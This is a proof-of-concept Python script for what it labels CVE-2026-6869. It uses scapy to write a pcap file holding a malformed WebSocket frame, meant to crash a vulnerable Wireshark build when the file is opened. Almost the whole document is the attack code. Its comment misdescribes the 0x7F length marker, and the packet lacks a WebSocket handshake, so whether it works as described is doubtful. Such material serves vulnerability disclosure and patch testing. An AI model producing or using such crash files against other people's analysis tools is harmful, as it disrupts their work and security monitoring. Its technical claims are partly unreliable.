CVE-2026-6869

#!/usr/bin/env python3 """ PoC for CVE-2026-6869 (Wireshark WebSocket Dissector Crash) Generates a pcap file with a malformed WebSocket frame to trigger the DoS. """ from scapy.all import * # Construct a malformed WebSocket frame # Example: Invalid extended payload length or malformed headers # 0x81: FIN + Text frame # 0x7F: Extended payload length (127 bytes) # Followed by length data malformed_frame = b"\x81\x7F\x00\x00\x00\x00\x00\x00\x7E" + b"A" * 100 packet = Ether()/IP(dst="192.168.1.1")/TCP(dport=80, sport=443, flags="PA")/Raw(load=malformed_frame) # Save the packet to a pcap file wrpcap("cve_2026_6869_crash.pcap", [packet]) print("[+] PoC pcap file generated: cve_2026_6869_crash.pcap") print("[+] Open this file in a vulnerable Wireshark version to reproduce the crash.")

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